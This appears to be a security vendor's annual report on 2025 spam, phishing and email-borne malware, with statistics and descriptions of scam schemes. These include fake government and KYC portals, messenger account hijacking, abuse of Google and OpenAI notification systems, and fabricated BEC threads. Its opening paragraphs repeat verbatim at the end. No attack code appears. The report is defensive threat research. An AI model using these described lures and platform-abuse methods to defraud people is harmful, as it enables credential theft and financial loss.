The most prevalent malicious email attachment in 2025 was the Makoob Trojan family, which covertly harvests system information and user credentials. Makoob first entered the TOP 10 in 2023 in eighth place, rose to third in 2024, and secured the top spot in 2025 with a share of 4.88%. Following Makoob, as in the previous year, was the Badun Trojan family (4.13%), which typically disguises itself as electronic documents. The third spot is held by the Taskun family (3.68%), which creates malicious scheduled tasks, followed by Agensla stealers (3.16%), which were the most common malicious attachments in 2024. Next are Trojan.Win32.AutoItScript scripts (2.88%), appearing in the rankings for the first time. In sixth place is the Noon spyware for all Windows systems (2.63%), which also occupied the tenth spot with its variant specifically targeting 32-bit systems (1.10%). Rounding out the TOP 10 are Hoax.HTML.Phish (1.98%) phishing attachments, Guloader downloaders (1.90%) – a newcomer to the rankings – and Badur (1.56%) PDF documents containing suspicious links.

TOP 10 malware families distributed via email attachments, 2025 (download)

The distribution of specific malware samples traditionally mirrors the distribution of malware families almost exactly. The only differences are that a specific variant of the Agensla stealer ranked sixth instead of fourth (2.53%), and the Phish and Guloader samples swapped positions (1.58% and 1.78%, respectively). Rounding out the rankings in tenth place is the password stealer Trojan-PSW.MSIL.PureLogs.gen with a share of 1.02%.

TOP 10 malware samples distributed via email attachments, 2025 (download)

Countries and territories targeted by malicious mailings

The highest volume of malicious email attachments was blocked on devices belonging to users in China (13.74%). For the first time in two years, Russia dropped to second place with a share of 11.18%. Following closely behind are Mexico (8.18%) and Spain (7.70%), which swapped places compared to the previous year. Email antivirus triggers saw a slight increase in Türkiye (5.19%), which maintained its fifth-place position. Sixth and seventh places are held by Vietnam (4.14%) and Malaysia (3.70%); both countries climbed higher in the TOP 10 due to an increase in detection shares. These are followed by the UAE (3.12%), which held its position from the previous year. Italy (2.43%) and Colombia (2.07%) also entered the TOP 10 list of targets for malicious mailshots.

TOP 20 countries and territories targeted by malicious mailshots, 2025 (download)

Conclusion

2026 will undoubtedly be marked by novel methods of exploiting artificial intelligence capabilities. At the same time, messaging app credentials will remain a highly sought-after prize for threat actors. While new schemes are certain to emerge, they will likely supplement rather than replace time-tested tricks and tactics. This underscores the reality that, alongside the deployment of robust security software, users must remain vigilant and exercise extreme caution toward any online offers that raise even the slightest suspicion.

The intensified focus on government service credentials signals a rise in potential impact; unauthorized access to these services can lead to financial theft, data breaches, and full-scale identity theft. Furthermore, the increased abuse of legitimate tools and the rise of multi-stage attacks – which often begin with seemingly harmless files or links – demonstrate a concerted effort by fraudsters to lull users into a false sense of security while pursuing their malicious objectives.

The year in figures

• 44.99% of all emails sent worldwide and 43.27% of all emails sent in the Russian web segment were spam
• 32.50% of all spam emails were sent from Russia
• Kaspersky Mail Anti-Virus blocked 144,722,674 malicious email attachments
• Our Anti-Phishing system thwarted 554,002,207 attempts to follow phishing links

Phishing and scams in 2025

Entertainment-themed phishing attacks and scams

In 2025, online streaming services remained a primary theme for phishing sites within the entertainment sector, typically by offering early access to major premieres ahead of their official release dates. Alongside these, there was a notable increase in phishing pages mimicking ticket aggregation platforms for live events. Cybercriminals lured users with offers of free tickets to see popular artists on pages that mirrored the branding of major ticket distributors. To participate in these “promotions”, victims were required to pay a nominal processing or ticket-shipping fee. Naturally, after paying the fee, the users never received any tickets.

In addition to concert-themed bait, other music-related scams gained significant traction. Users were directed to phishing pages and prompted to “vote for their favorite artist”, a common activity within fan communities. To bolster credibility, the scammers leveraged the branding of major companies like Google and Spotify. This specific scheme was designed to harvest credentials for multiple platforms simultaneously, as users were required to sign in with their Facebook, Instagram, or email credentials to participate.

As a pretext for harvesting Spotify credentials, attackers offered users a way to migrate their playlists to YouTube. To complete the transfer, victims were to just enter their Spotify credentials.

Beyond standard phishing, threat actors leveraged Spotify’s popularity for scams. In Brazil, scammers promoted a scheme where users were purportedly paid to listen to and rate songs.

To “withdraw” their earnings, users were required to provide their identification number for PIX, Brazil’s instant payment system.

Users were then prompted to verify their identity. To do so, the victim was required to make a small, one-time “verification payment”, an amount significantly lower than the potential earnings.

The form for submitting this “verification payment” was designed to appear highly authentic, even requesting various pieces of personal data. It is highly probable that this data was collected for use in subsequent attacks.

In another variation, users were invited to participate in a survey in exchange for a $1000 gift card. However, in a move typical of a scam, the victim was required to pay a small processing or shipping fee to claim the prize. Once the funds were transferred, the attackers vanished, and the website was taken offline.

Even deciding to go to an art venue with a girl from a dating site could result in financial loss. In this scenario, the “date” would suggest an in-person meeting after a brief period of rapport-building. They would propose a relatively inexpensive outing, such as a movie or a play at a niche theater. The scammer would go so far as to provide a link to a specific page where the victim could supposedly purchase tickets for the event.

To enhance the site’s perceived legitimacy, it even prompted the user to select their city of residence.

However, once the “ticket payment” was completed, both the booking site and the individual from the dating platform would vanish.

A similar tactic was employed by scam sites selling tickets for escape rooms. The design of these pages closely mirrored legitimate websites to lower the target’s guard.

Phishing pages masquerading as travel portals often capitalize on a sense of urgency, betting that a customer eager to book a “last-minute deal” will overlook an illegitimate URL. For example, the fraudulent page shown below offered exclusive tours of Japan, purportedly from a major Japanese tour operator.

Sensitive data at risk: phishing via government services

To harvest users’ personal data, attackers utilized a traditional phishing framework: fraudulent forms for document processing on sites posing as government portals. The visual design and content of these phishing pages meticulously replicated legitimate websites, offering the same services found on official sites. In Brazil, for instance, attackers collected personal data from individuals under the pretext of issuing a Rural Property Registration Certificate (CCIR).

Through this method, fraudsters tried to gain access to the victim’s highly sensitive information, including their individual taxpayer registry (CPF) number. This identifier serves as a unique key for every Brazilian national to access private accounts on government portals. It is also utilized in national databases and displayed on personal identification documents, making its interception particularly dangerous. Scammer access to this data poses a severe risk of identity theft, unauthorized access to government platforms, and financial exposure.

Furthermore, users were at risk of direct financial loss: in certain instances, the attackers requested a “processing fee” to facilitate the issuance of the important document.

Fraudsters also employed other methods to obtain CPF numbers. Specifically, we discovered phishing pages mimicking the official government service portal, which requires the CPF for sign-in.

Another theme exploited by scammers involved government payouts. In 2025, Singaporean citizens received government vouchers ranging from $600 to $800 in honor of the country’s 60th anniversary. To redeem these, users were required to sign in to the official program website. Fraudsters rushed to create web pages designed to mimic this site. Interestingly, the primary targets in this campaign were Telegram accounts, despite the fact that Telegram credentials were not a requirement for signing in to the legitimate portal.

We also identified a scam targeting users in Norway who were looking to renew or replace their driver’s licenses. Upon opening a website masquerading as the official Norwegian Public Roads Administration website, visitors were prompted to enter their vehicle registration and phone numbers.

Next, the victim was prompted for sensitive data, such as the personal identification number unique to every Norwegian citizen. By doing so, the attackers not only gained access to confidential information but also reinforced the illusion that the victim was interacting with an official website.

Once the personal data was submitted, a fraudulent page would appear, requesting a “processing fee” of 1200 kroner. If the victim entered their credit card details, the funds were transferred directly to the scammers with no possibility of recovery.

In Germany, attackers used the pretext of filing tax returns to trick users into providing their email user names and passwords on phishing pages.

A call to urgent action is a classic tactic in phishing scenarios. When combined with the threat of losing property, these schemes become highly effective bait, distracting potential victims from noticing an incorrect URL or a poorly designed website. For example, a phishing warning regarding unpaid vehicle taxes was used as a tool by attackers targeting credentials for the UK government portal.

We have observed that since the spring of 2025, there has been an increase in emails mimicking automated notifications from the Russian government services portal. These messages were distributed under the guise of application status updates and contained phishing links.

We also recorded vishing attacks targeting users of government portals. Victims were prompted to “verify account security” by calling a support number provided in the email. To lower the users’ guard, the attackers included fabricated technical details in the emails, such as the IP address, device model, and timestamp of an alleged unauthorized sign-in.

Last year, attackers also disguised vishing emails as notifications from microfinance institutions or credit bureaus regarding new loan applications. The scammers banked on the likelihood that the recipient had not actually applied for a loan. They would then prompt the victim to contact a fake support service via a spoofed support number.

Know Your Customer

As an added layer of data security, many services now implement biometric verification (facial recognition, fingerprints, and retina scans), as well as identity document verification and digital signatures. To harvest this data, fraudsters create clones of popular platforms that utilize these verification protocols. We have previously detailed the mechanics of this specific type of data theft.

In 2025, we observed a surge in phishing attacks targeting users under the guise of Know Your Customer (KYC) identity verification. KYC protocols rely on a specific set of user data for identification. By spoofing the pages of payment services such as Vivid Money, fraudsters harvested the information required to pass KYC authentication.

Notably, this threat also impacted users of various other platforms that utilize KYC procedures.

A distinctive feature of attacks on the KYC process is that, in addition to the victim’s full name, email address, and phone number, phishers request photos of their passport or face, sometimes from multiple angles. If this information falls into the hands of threat actors, the consequences extend beyond the loss of account access; the victim’s credentials can be sold on dark web marketplaces, a trend we have highlighted in previous reports.

Messaging app phishing

Account hijacking on messaging platforms like WhatsApp and Telegram remains one of the primary objectives of phishing and scam operations. While traditional tactics, such as suspicious links embedded in messages, have been well-known for some time, the methods used to steal credentials are becoming increasingly sophisticated.

For instance, Telegram users were invited to participate in a prize giveaway purportedly hosted by a famous athlete. This phishing attack, which masqueraded as an NFT giveaway, was executed through a Telegram Mini App. This marks a shift in tactics, as attackers previously relied on external web pages for these types of schemes.

In 2025, new variations emerged within the familiar framework of distributing phishing links via Telegram. For example, we observed prompts inviting users to vote for the “best dentist” or “best COO” in town.

The most prevalent theme in these voting-based schemes, children’s contests, was distributed primarily through WhatsApp. These phishing pages showed little variety; attackers utilized a standardized website design and set of “bait” photos, simply localizing the language based on the target audience’s geographic location.

To participate in the vote, the victim was required to enter the phone number linked to their WhatsApp account.

They were then prompted to provide a one-time authentication code for the messaging app.

The following are several other popular methods used by fraudsters to hijack user credentials.

In China, phishing pages meticulously replicated the WhatsApp interface. Victims were notified that their accounts had purportedly been flagged for “illegal activity”, necessitating “additional verification”.

The victim was redirected to a page to enter their phone number, followed by a request for their authorization code.

In other instances, users received messages allegedly from WhatsApp support regarding account authentication via SMS. As with the other scenarios described, the attackers’ objective was to obtain the authentication code required to hijack the account.

Fraudsters enticed WhatsApp users with an offer to link an app designed to “sync communications” with business contacts.

To increase the perceived legitimacy of the phishing site, the attackers even prompted users to create custom credentials for the page.

After that, the user was required to “purchase a subscription” to activate the application. This allowed the scammers to harvest credit card data, leaving the victim without the promised service.

To lure Telegram users, phishers distributed invitations to online dating chats.

Attackers also heavily leveraged the promise of free Telegram Premium subscriptions. While these phishing pages were previously observed only in Russian and English, the linguistic scope of these campaigns expanded significantly this year. As in previous iterations, activating the subscription required the victim to sign in to their account, which could result in the loss of account access.

Exploiting the ChatGPT hype

Artificial intelligence is increasingly being leveraged by attackers as bait. For example, we have identified fraudulent websites mimicking the official payment page for ChatGPT Plus subscriptions.

Social media marketing through LLMs was also a potential focal point for user interest. Scammers offered “specialized prompt kits” designed for social media growth; however, once payment was received, they vanished, leaving victims without the prompts or their money.

The promise of easy income through neural networks has emerged as another tactic to attract potential victims. Fraudsters promoted using ChatGPT to place bets, promising that the bot would do all the work while the user collected the profits. These services were offered at a “special price” valid for only 15 minutes after the page was opened. This narrow window prevented the victim from critically evaluating the impulse purchase.

Job opportunities with a catch

To attract potential victims, scammers exploited the theme of employment by offering high-paying remote positions. Applicants responding to these advertisements did more than just disclose their personal data; in some cases, fraudsters requested a small sum under the pretext of document processing or administrative fees. To convince victims that the offer was legitimate, attackers impersonated major brands, leveraging household names to build trust. This allowed them to lower the victims’ guard, even when the employment terms sounded too good to be true.

We also observed schemes where, after obtaining a victim’s data via a phishing site, scammers would follow up with a phone call – a tactic aimed at tricking the user into disclosing additional personal data.

By analyzing current job market trends, threat actors also targeted popular career paths to steal messaging app credentials. These phishing schemes were tailored to specific regional markets. For example, in the UAE, fake “employment agency” websites were circulating.

In a more sophisticated variation, users were asked to complete a questionnaire that required the phone number linked to their Telegram account.

To complete the registration, users were prompted for a code which, in reality, was a Telegram authorization code.

Notably, the registration process did not end there; the site continued to request additional information to “set up an account” on the fraudulent platform. This served to keep victims in the dark, maintaining their trust in the malicious site’s perceived legitimacy.

After finishing the registration, the victim was told to wait 24 hours for “verification”, though the scammers’ primary objective, hijacking the Telegram account, had already been achieved.

Simpler phishing schemes were also observed, where users were redirected to a page mimicking the Telegram interface. By entering their phone number and authorization code, victims lost access to their accounts.

Job seekers were not the only ones targeted by scammers. Employers’ accounts were also in the crosshairs, specifically on a major Russian recruitment portal. On a counterfeit page, the victim was asked to “verify their account” in order to post a job listing, which required them to enter their actual sign-in credentials for the legitimate site.

Spam in 2025

Malicious attachments

Password-protected archives

Attackers began aggressively distributing messages with password-protected malicious archives in 2024. Throughout 2025, these archives remained a popular vector for spreading malware, and we observed a variety of techniques designed to bypass security solutions.

For example, threat actors sent emails impersonating law firms, threatening victims with legal action over alleged “unauthorized domain name use”. The recipient was prompted to review potential pre-trial settlement options detailed in an attached document. The attachment consisted of an unprotected archive containing a secondary password-protected archive and a file with the password. Disguised as a legal document within this inner archive was a malicious WSF file, which installed a Trojan into the system via startup. The Trojan then stealthily downloaded and installed Tor, which allowed it to regularly exfiltrate screenshots to the attacker-controlled C2 server.

In addition to archives, we also encountered password-protected PDF files containing malicious links over the past year.

E-signature service exploits

Emails using the pretext of “signing a document” to coerce users into clicking phishing links or opening malicious attachments were quite common in 2025. The most prevalent scheme involved fraudulent notifications from electronic signature services. While these were primarily used for phishing, one specific malware sample identified within this campaign is of particular interest.

The email, purportedly sent from a well-known document-sharing platform, notified the recipient that they had been granted access to a “contract” attached to the message. However, the attachment was not the expected PDF; instead, it was a nested email file named after the contract. The body of this nested message mirrored the original, but its attachment utilized a double extension: a malicious SVG file containing a Trojan was disguised as a PDF document. This multi-layered approach was likely an attempt to obfuscate the malware and bypass security filters.

“Business correspondence” impersonating industrial companies

In the summer of last year, we observed mailshots sent in the name of various existing industrial enterprises. These emails contained DOCX attachments embedded with Trojans. Attackers coerced victims into opening the malicious files under the pretext of routine business tasks, such as signing a contract or drafting a report.

The authors of this malicious campaign attempted to lower users’ guard by using legitimate industrial sector domains in the “From” address. Furthermore, the messages were routed through the mail servers of a reputable cloud provider, ensuring the technical metadata appeared authentic. Consequently, even a cautious user could mistake the email for a genuine communication, open the attachment, and compromise their device.

Attacks on hospitals

Hospitals were a popular target for threat actors this past year: they were targeted with malicious emails impersonating well-known insurance providers. Recipients were threatened with legal action regarding alleged “substandard medical services”. The attachments, described as “medical records and a written complaint from an aggrieved patient”, were actually malware. Our solutions detect this threat as Backdoor.Win64.BrockenDoor, a backdoor capable of harvesting system information and executing malicious commands on the infected device.

We also came across emails with a different narrative. In those instances, medical staff were requested to facilitate a patient transfer from another hospital for ongoing observation and treatment. These messages referenced attached medical files containing diagnostic and treatment history, which were actually archives containing malicious payloads.

To bolster the perceived legitimacy of these communications, attackers did more than just impersonate famous insurers and medical institutions; they registered look-alike domains that mimicked official organizations’ domains by appending keywords such as “-insurance” or “-med.” Furthermore, to lower the victims’ guard, scammers included a fake “Scanned by Email Security” label.

Messages containing instructions to run malicious scripts

Last year, we observed unconventional infection chains targeting end-user devices. Threat actors continued to distribute instructions for downloading and executing malicious code, rather than attaching the malware files directly. To convince the recipient to follow these steps, attackers typically utilized a lure involving a “critical software update” or a “system patch” to fix a purported vulnerability. Generally, the first step in the instructions required launching the command prompt with administrative privileges, while the second involved entering a command to download and execute the malware: either a script or an executable file.

In some instances, these instructions were contained within a PDF file. The victim was prompted to copy a command into PowerShell that was neither obfuscated nor hidden. Such schemes target non-technical users who would likely not understand the command’s true intent and would unknowingly infect their own devices.

Scams

Law enforcement impersonation scams in the Russian web segment

In 2025, extortion campaigns involving actors posing as law enforcement – a trend previously more prevalent in Europe – were adapted to target users across the Commonwealth of Independent States.

For example, we identified messages disguised as criminal subpoenas or summonses purportedly issued by Russian law enforcement agencies. However, the specific departments cited in these emails never actually existed. The content of these “summonses” would also likely raise red flags for a cautious user. This blackmail scheme relied on the victim, in their state of panic, not scrutinizing the contents of the fake summons.

To intimidate recipients, the attackers referenced legal frameworks and added forged signatures and seals to the “subpoenas”. In reality, neither the cited statutes nor the specific civil service positions exist in Russia.

We observed similar attacks – employing fabricated government agencies and fictitious legal acts – in other CIS countries, such as Belarus.

Fraudulent investment schemes

Threat actors continued to aggressively exploit investment themes in their email scams. These emails typically promise stable, remote income through “exclusive” investment opportunities. This remains one of the most high-volume and adaptable categories of email scams. Threat actors embedded fraudulent links both directly within the message body and inside various types of attachments: PDF, DOC, PPTX, and PNG files. Furthermore, they increasingly leveraged legitimate Google services, such as Google Docs, YouTube, and Google Forms, to distribute these communications. The link led to the site of the “project” where the victim was prompted to provide their phone number and email. Subsequently, users were invited to invest in a non-existent project.

We have previously documented these mailshots: they were originally targeted at Russian-speaking users and were primarily distributed under the guise of major financial institutions. However, in 2025, this investment-themed scam expanded into other CIS countries and Europe. Furthermore, the range of industries that spammers impersonated grew significantly. For instance, in their emails, attackers began soliciting investments for projects supposedly led by major industrial-sector companies in Kazakhstan and the Czech Republic.

Fraudulent “brand partner” recruitment

This specific scam operates through a multi-stage workflow. First, the target company receives a communication from an individual claiming to represent a well-known global brand, inviting them to register as a certified supplier or business partner. To bolster the perceived authenticity of the offer, the fraudsters send the victim an extensive set of forged documents. Once these documents are signed, the victim is instructed to pay a “deposit”, which the attackers claim will be fully refunded once the partnership is officially established.

These mailshots were first detected in 2025 and have rapidly become one of the most prevalent forms of email-based fraud. In December 2025 alone, we blocked over 80,000 such messages. These campaigns specifically targeted the B2B sector and were notable for their high level of variation – ranging from their technical properties to the diversity of the message content and the wide array of brands the attackers chose to impersonate.

Fraudulent overdue rent notices

Last year, we identified a new theme in email scams: recipients were notified that the payment deadline for a leased property had expired and were urged to settle the “debt” immediately. To prevent the victim from sending funds to their actual landlord, the email claimed that banking details had changed. The “debtor” was then instructed to request the new payment information – which, of course, belonged to the fraudsters. These mailshots primarily targeted French-speaking countries; however, in December 2025, we discovered a similar scam variant in German.

QR codes in scam letters

In 2025, we observed a trend where QR codes were utilized not only in phishing attempts but also in extortion emails. In a classic blackmail scam, the user is typically intimidated by claims that hackers have gained access to sensitive data. To prevent the public release of this information, the attackers demand a ransom payment to their cryptocurrency wallet.

Previously, to bypass email filters, scammers attempted to obfuscate the wallet address by using various noise contamination techniques. In last year’s campaigns, however, scammers shifted to including a QR code that contained the cryptocurrency wallet address.

News agenda

As in previous years, spammers in 2025 aggressively integrated current events into their fraudulent messaging to increase engagement.

For example, following the launch of $TRUMP memecoins surrounding Donald Trump’s inauguration, we identified scam campaigns promoting the “Trump Meme Coin” and “Trump Digital Trading Cards”. In these instances, scammers enticed victims to click a link to claim “free NFTs”.

We also observed ads offering educational credentials. Spammers posted these ads as comments on legacy, unmoderated forums; this tactic ensured that notifications were automatically pushed to all users subscribed to the thread. These notifications either displayed the fraudulent link directly in the comment preview or alerted users to a new post that redirected them to spammers’ sites.

In the summer, when the wedding of Amazon founder Jeff Bezos became a major global news story, users began receiving Nigerian-style scam messages purportedly from Bezos himself, as well as from his former wife, MacKenzie Scott. These emails promised recipients substantial sums of money, framed either as charitable donations or corporate compensation from Amazon.

During the BLACKPINK world tour, we observed a wave of spam advertising “luggage scooters”. The scammers claimed these were the exact motorized suitcases used by the band members during their performances.

Finally, in the fall of 2025, traditionally timed to coincide with the launch of new iPhones, we identified scam campaigns featuring surveys that offered participants a chance to “win” a fictitious iPhone 17 Pro.

After completing a brief survey, the user was prompted to provide their contact information and physical address, as well as pay a “delivery fee” – which was the scammers’ ultimate objective. Upon entering their credit card details into the fraudulent site, the victim risked losing not only the relatively small delivery charge but also the entire balance in their bank account.

The widespread popularity of Ozempic was also reflected in spam campaigns; users were bombarded with offers to purchase versions of the drug or questionable alternatives.

Localized news events also fall under the scrutiny of fraudsters, serving as the basis for scam narratives. For instance, last summer, coinciding with the opening of the tax season in South Africa, we began detecting phishing emails impersonating the South African Revenue Service (SARS). These messages notified taxpayers of alleged “outstanding balances” that required immediate settlement.

Methods of distributing email threats

Google services

In 2025, threat actors increasingly leveraged various Google services to distribute email-based threats. We observed the exploitation of Google Calendar: scammers would create an event containing a WhatsApp contact number in the description and send an invitation to the target. For instance, companies received emails regarding product inquiries that prompted them to move the conversation to the messaging app to discuss potential “collaboration”.

Spammers employed a similar tactic using Google Classroom. We identified samples offering SEO optimization services that likewise directed victims to a WhatsApp number for further communication.

We also detected the distribution of fraudulent links via legitimate YouTube notifications. Attackers would reply to user comments under various videos, triggering an automated email notification to the victim. This email contained a link to a video that displayed only a message urging the viewer to “check the description”, where the actual link to the scam site was located. As the victim received an email containing the full text of the fraudulent comment, they were often lured through this chain of links, eventually landing on the scam site.

Over the past two years or so, there has been a significant rise in attacks utilizing Google Forms. Fraudsters create a survey with an enticing title and place the scam messaging directly in the form’s description. They then submit the form themselves, entering the victims’ email addresses into the field for the respondent email. This triggers legitimate notifications from the Google Forms service to the targeted addresses. Because these emails originate from Google’s own mail servers, they appear authentic to most spam filters. The attackers rely on the victim focusing on the “bait” description containing the fraudulent link rather than the standard form header.

Google Groups also emerged as a popular tool for spam distribution last year. Scammers would create a group, add the victims’ email addresses as members, and broadcast spam through the service. This scheme proved highly effective: even if a security solution blocked the initial spam message, the user could receive a deluge of automated replies from other addresses on the member list.

At the end of 2025, we encountered a legitimate email in terms of technical metadata that was sent via Google and contained a fraudulent link. The message also included a verification code for the recipient’s email address. To generate this notification, scammers filled out the account registration form in a way that diverted the recipient’s attention toward a fraudulent site. For example, instead of entering a first and last name, the attackers inserted text such as “Personal Link” followed by a phishing URL, utilizing noise contamination techniques. By entering the victim’s email address into the registration field, the scammers triggered a legitimate system notification containing the fraudulent link.

OpenAI

In addition to Google services, spammers leveraged other platforms to distribute email threats, notably OpenAI, riding the wave of artificial intelligence popularity. In 2025, we observed emails sent via the OpenAI platform into which spammers had injected short messages, fraudulent links, or phone numbers.

This occurs during the account registration process on the OpenAI platform, where users are prompted to create an organization to generate an API key. Spammers placed their fraudulent content directly into the field designated for the organization’s name. They then added the victims’ email addresses as organization members, triggering automated platform invitations that delivered the fraudulent links or contact numbers directly to the targets.

Spear phishing and BEC attacks in 2025

QR codes

The use of QR codes in spear phishing has become a conventional tactic that threat actors continued to employ throughout 2025. Specifically, we observed the persistence of a major trend identified in our previous report: the distribution of phishing documents disguised as notifications from a company’s HR department.

In these campaigns, attackers impersonated HR team members, requesting that employees review critical documentation, such as a new corporate policy or code of conduct. These documents were typically attached to the email as PDF files.

To maintain the ruse, the PDF document contained a highly convincing call to action, prompting the user to scan a QR code to access the relevant file. While attackers previously embedded these codes directly into the body of the email, last year saw a significant shift toward placing them within attachments – most likely in an attempt to bypass email security filters.

Upon scanning the QR code within the attachment, the victim was redirected to a phishing page meticulously designed to mimic a Microsoft authentication form.

In addition to fraudulent HR notifications, threat actors created scheduled meetings within the victim’s email calendar, placing DOC or PDF files containing QR codes in the event descriptions. Leveraging calendar invites to distribute malicious links is a legacy technique that was widely observed during scam campaigns in 2019. After several years of relative dormancy, we saw a resurgence of this technique last year, now integrated into more sophisticated spear phishing operations.

In one specific example, the attachment was presented as a “new voicemail” notification. To listen to the recording, the user was prompted to scan a QR code and sign in to their account on the resulting page.

As in the previous scenario, scanning the code redirected the user to a phishing page, where they risked losing access to their Microsoft account or internal corporate sites.

Link protection services

Threat actors utilized more than just QR codes to hide phishing URLs and bypass security checks. In 2025, we discovered that fraudsters began weaponizing link protection services for the same purpose. The primary function of these services is to intercept and scan URLs at the moment of clicking to prevent users from reaching phishing sites or downloading malware. However, attackers are now abusing this technology by generating phishing links that security systems mistakenly categorize as “safe”.

This technique is employed in both mass and spear phishing campaigns. It is particularly dangerous in targeted attacks, which often incorporate employees’ personal data and mimic official corporate branding. When combined with these characteristics, a URL generated through a legitimate link protection service can significantly bolster the perceived authenticity of a phishing email.

After opening a URL that seemed safe, the user was directed to a phishing site.

BEC and fabricated email chains

In Business Email Compromise (BEC) attacks, threat actors have also begun employing new techniques, the most notable of which is the use of fake forwarded messages.

This BEC attack unfolded as follows. An employee would receive an email containing a previous conversation between the sender and another colleague. The final message in this thread was typically an automated out-of-office reply or a request to hand off a specific task to a new assignee. In reality, however, the entire initial conversation with the colleague was completely fabricated. These messages lacked the thread-index headers, as well as other critical header values, that would typically verify the authenticity of an actual email chain.

In the example at hand, the victim was pressured to urgently pay for a license using the provided banking details. The PDF attachments included wire transfer instructions and a counterfeit cover letter from the bank.

The bank does not actually have an office at the address provided in the documents.

Statistics: phishing

In 2025, Kaspersky solutions blocked 554,002,207 attempts to follow fraudulent links. In contrast to the trends of previous years, we did not observe any major spikes in phishing activity; instead, the volume of attacks remained relatively stable throughout the year, with the exception of a minor decline in December.

Anti-Phishing triggers, 2025 (download)

The phishing and scam landscape underwent a shift. While in 2024, we saw a high volume of mass attacks, their frequency declined in 2025. Furthermore, redirection-based schemes, which were frequently used for online fraud in 2024, became less prevalent in 2025.

Map of phishing attacks

As in the previous year, Peru remains the country with the highest percentage (17.46%) of users targeted by phishing attacks. Bangladesh (16.98%) took second place, entering the TOP 10 for the first time, while Malawi (16.65%), which was absent from the 2024 rankings, was third. Following these are Tunisia (16.19%), Colombia (15.67%), the latter also being a newcomer to the TOP 10, Brazil (15.48%), and Ecuador (15.27%). They are followed closely by Madagascar and Kenya, both with a 15.23% share of attacked users. Rounding out the list is Vietnam, which previously held the third spot, with a share of 15.05%.

Country/territory	Share of attacked users**
Peru	17.46%
Bangladesh	16.98%
Malawi	16.65%
Tunisia	16.19%
Colombia	15.67%
Brazil	15.48%
Ecuador	15.27%
Madagascar	15.23%
Kenya	15.23%
Vietnam	15.05%

** Share of users who encountered phishing out of the total number of Kaspersky users in the country/territory, 2025

Top-level domains

In 2025, breaking a trend that had persisted for several years, the majority of phishing pages were hosted within the XYZ TLD zone, accounting for 21.64% – a three-fold increase compared to 2024. The second most popular zone was TOP (15.45%), followed by BUZZ (13.58%). This high demand can be attributed to the low cost of domain registration in these zones. The COM domain, which had previously held the top spot consistently, fell to fourth place (10.52%). It is important to note that this decline is partially driven by the popularity of typosquatting attacks: threat actors frequently spoof sites within the COM domain by using alternative suffixes, such as example-com.site instead of example.com. Following COM is the BOND TLD, entering the TOP 10 for the first time with a 5.56% share. As this zone is typically associated with financial websites, the surge in malicious interest there is a logical progression for financial phishing. The sixth and seventh positions are held by ONLINE (3.39%) and SITE (2.02%), which occupied the fourth and fifth spots, respectively, in 2024. In addition, three domain zones that had not previously appeared in our statistics emerged as popular hosting environments for phishing sites. These included the CFD domain (1.97%), typically used for websites in the clothing, fashion, and design sectors; the Polish national top-level domain, PL (1.75%); and the LOL domain (1.60%).

Most frequent top-level domains for phishing pages, 2025 (download)

Organizations targeted by phishing attacks

The rankings of organizations targeted by phishers are based on detections by the Anti-Phishing deterministic component on user computers. The component detects all pages with phishing content that the user has tried to open by following a link in an email message or on the web, as long as links to these pages are present in the Kaspersky database.

Phishing pages impersonating web services (27.42%) and global internet portals (15.89%) maintained their positions in the TOP 10, continuing to rank first and second, respectively. Online stores (11.27%), a traditional favorite among threat actors, returned to the third spot. In 2025, phishers showed increased interest in online gamers: websites mimicking gaming platforms jumped from ninth to fifth place (7.58%). These are followed by banks (6.06%), payment systems (5.93%), messengers (5.70%), and delivery services (5.06%). Phishing attacks also targeted social media (4.42%) and government services (1.77%) accounts.

Distribution of targeted organizations by category, 2025 (download)

Statistics: spam

Share of spam in email traffic

In 2025, the average share of spam in global email traffic was 44.99%, representing a decrease of 2.28 percentage points compared to the previous year. Notably, contrary to the trends of the past several years, the fourth quarter was the busiest one: an average of 49.26% of emails were categorized as spam, with peak activity occurring in November (52.87%) and December (51.80%). Throughout the rest of the year, the distribution of junk mail remained relatively stable without significant spikes, maintaining an average share of approximately 43.50%.

Share of spam in global email traffic, 2025 (download)

In the Russian web segment (Runet), we observed a more substantial decline: the average share of spam decreased by 5.3 percentage points to 43.27%. Deviating from the global trend, the fourth quarter was the quietest period in Russia, with a share of 41.28%. We recorded the lowest level of spam activity in December, when only 36.49% of emails were identified as junk. January and February were also relatively calm, with average values of 41.94% and 43.09%, respectively. Conversely, the Runet figures for March–October correlated with global figures: no major surges were observed, spam accounting for an average of 44.30% of total email traffic during these months.

Share of spam in Runet email traffic, 2025 (download)

Countries and territories where spam originated

The top three countries in the 2025 rankings for the volume of outgoing spam mirror the distribution of the previous year: Russia, China, and the United States. However, the share of spam originating from Russia decreased from 36.18% to 32.50%, while the shares of China (19.10%) and the U.S. (10.57%) each increased by approximately 2 percentage points. Germany rose to fourth place (3.46%), up from sixth last year, displacing Kazakhstan (2.89%). Hong Kong followed in sixth place (2.11%). The Netherlands and Japan shared the next spot with identical shares of 1.95%; however, we observed a year-over-year increase in outgoing spam from the Netherlands, whereas Japan saw a decline. The TOP 10 is rounded out by Brazil (1.94%) and Belarus (1.74%), the latter ranking for the first time.

TOP 20 countries and territories where spam originated in 2025 (download)

Malicious email attachments

In 2025, Kaspersky solutions blocked 144,722,674 malicious email attachments, an increase of nineteen million compared to the previous year. The beginning and end of the year were traditionally the most stable periods; however, we also observed a notable decline in activity during August and September. Peaks in email antivirus detections occurred in June, July, and November.

Email antivirus detections, 2025 (download)

The most prevalent malicious email attachment in 2025 was the Makoob Trojan family, which covertly harvests system information and user credentials. Makoob first entered the TOP 10 in 2023 in eighth place, rose to third in 2024, and secured the top spot in 2025 with a share of 4.88%. Following Makoob, as in the previous year, was the Badun Trojan family (4.13%), which typically disguises itself as electronic documents. The third spot is held by the Taskun family (3.68%), which creates malicious scheduled tasks, followed by Agensla stealers (3.16%), which were the most common malicious attachments in 2024. Next are Trojan.Win32.AutoItScript scripts (2.88%), appearing in the rankings for the first time. In sixth place is the Noon spyware for all Windows systems (2.63%), which also occupied the tenth spot with its variant specifically targeting 32-bit systems (1.10%). Rounding out the TOP 10 are Hoax.HTML.Phish (1.98%) phishing attachments, Guloader downloaders (1.90%) – a newcomer to the rankings – and Badur (1.56%) PDF documents containing suspicious links.

TOP 10 malware families distributed via email attachments, 2025 (download)

The distribution of specific malware samples traditionally mirrors the distribution of malware families almost exactly. The only differences are that a specific variant of the Agensla stealer ranked sixth instead of fourth (2.53%), and the Phish and Guloader samples swapped positions (1.58% and 1.78%, respectively). Rounding out the rankings in tenth place is the password stealer Trojan-PSW.MSIL.PureLogs.gen with a share of 1.02%.

